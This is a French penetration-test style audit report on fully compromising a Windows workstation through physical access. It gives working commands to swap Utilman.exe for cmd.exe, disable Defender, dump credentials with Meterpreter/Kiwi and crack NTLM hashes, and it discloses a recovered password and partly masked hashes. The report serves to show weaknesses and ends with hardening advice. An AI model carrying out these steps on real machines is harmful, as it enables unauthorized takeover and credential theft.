Rapport d'Audit de Sécurité Système : Compromission Totale et Exfiltration de Secrets

Auditeur : Idriss Qarqabi

7 avril 2026

Résumé Exécutif

Ce rapport documente un audit de sécurité physique et logique mené sur une station de travail Windows. L'objectif était de démontrer les vulnérabilités liées à l'absence de chiffrement intégral du disque et à la faiblesse des politiques de mots de passe locaux. L'audit a réussi à obtenir les privilèges **NT AUTHORITY\SYSTEM** et à extraire l'intégralité des identifiants de la machine.

Table des matières

1 Phase 1 : Accès Physique et Montage Disque **2**

2 Phase 2 : Substitution du Binaire Utilman **2**

3 Phase 3 : Élévation vers NT AUTHORITY\SYSTEM **2**

4 Phase 4 : Neutralisation des Défenses (EDR & GPO) **2**

5 Phase 5 : Déploiement de Metasploit et Meterpreter **2**

6 Phase 6 : Exfiltration des Secrets (The Loot) **3**

7 Phase 7 : Analyse Cryptographique (Offline Cracking) **3**

7.1 Résultats du Recouvrement 3

8 Conclusion et Recommandations **3**

1 Phase 1 : Accès Physique et Montage Disque

L'audit a débuté par un accès hors-ligne via un support de démarrage **Ubuntu 24.04 LTS**. Le système de fichiers NTFS a été monté malgré le verrouillage du mode hibernation.

```
sudo ntfsfix /dev/sdXn
sudo mount -t ntfs-3g -o remove_hiberfile /dev/sdXn /mnt/windows
```

Listing 1 – Montage force de la partition Windows

2 Phase 2 : Substitution du Binaire Utilman

Le binaire d'accessibilité (*Utilman.exe*) a été substitué par l'invite de commande (*cmd.exe*) afin de permettre l'ouverture d'un terminal privilégié directement depuis l'écran de verrouillage Windows.

```
mv Utilman.exe Utilman.exe.bak
cp cmd.exe Utilman.exe
```

Listing 2 – Manipulation des binaires systeme

3 Phase 3 : Élévation vers NT AUTHORITY\SYSTEM

Une fois Windows redémarré, l'activation des options d'ergonomie a ouvert un terminal avec les privilèges les plus élevés du système. L'utilisateur **test** a été ajouté au groupe des administrateurs locaux.

```
net localgroup Administrators "test" /add
whoami # Resultat : NT AUTHORITY\SYSTEM
```

Listing 3 – Privilege Escalation locale

4 Phase 4 : Neutralisation des Défenses (EDR & GPO)

Les restrictions "Géré par votre organisation" et Windows Defender ont été neutralisées via le registre pour permettre l'exécution d'outils d'audit.

```
reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f
powershell -command "Set-MpPreference -DisableRealtimeMonitoring
   $true"
powershell -command "Add-MpPreference -ExclusionPath 'C:\Audit'"
```

Listing 4 – Suppression des restrictions de registre

5 Phase 5 : Déploiement de Metasploit et Meterpreter

Une session *Meterpreter* a été établie pour une manipulation avancée de la mémoire vive via l'extension *Kiwi*.

```
meterpreter > getsystem
meterpreter > load kiwi
meterpreter > creds_all
```

Listing 5 – Etablissement de la session privilegiee

6 Phase 6 : Exfiltration des Secrets (The Loot)

L'extraction a porté sur les mots de passe des navigateurs, les clés Wi-Fi et les ruches du registre (*SAM/SYSTEM*).

Type de Donnée	**Outil Utilisé**	**Cible**
Identifiants Web	WebBrowserPassView	Chrome, Edge, Firefox
Clés Réseau	WirelessKeyView	Profils WPA2
Hashes Locaux	Metasploit lsa_dump_sam	Base SAM complète

Table 1 – Synthese des donnees exfiltrees.

7 Phase 7 : Analyse Cryptographique (Offline Cracking)

Les hashes extraits ont été transférés sur une station **Kali Linux** pour un recouvrement via *John the Ripper* et *Hashcat*.

7.1 Résultats du Recouvrement

L'attaque par dictionnaire sur la liste *rockyou.txt* a retourné les résultats suivants :

— **Compte test :** Mot de passe identifié : `test`

— **Compte admin23 :** Hash NTLM `09d2db5bc9d0448**********a5832210e` (Complexité élevée).

— **Compte enseignant :** Hash NTLM `95a0fd602c**********bd9c84c987` (En cours).

8 Conclusion et Recommandations

L'audit mené par **Idriss Qarqabi** démontre une compromission totale de la station de travail. Les recommandations suivantes sont impératives :

1. **Chiffrement BitLocker :** Seul le chiffrement du disque peut empêcher le montage via un OS tiers.
2. **Sécurité UEFI :** Verrouiller l'ordre de démarrage par mot de passe pour interdire l'usage de clés USB Live.
3. **Politique de Mots de Passe :** Interdire les identifiants triviaux (ex : test :test) et imposer une rotation des clés via *LAPS*.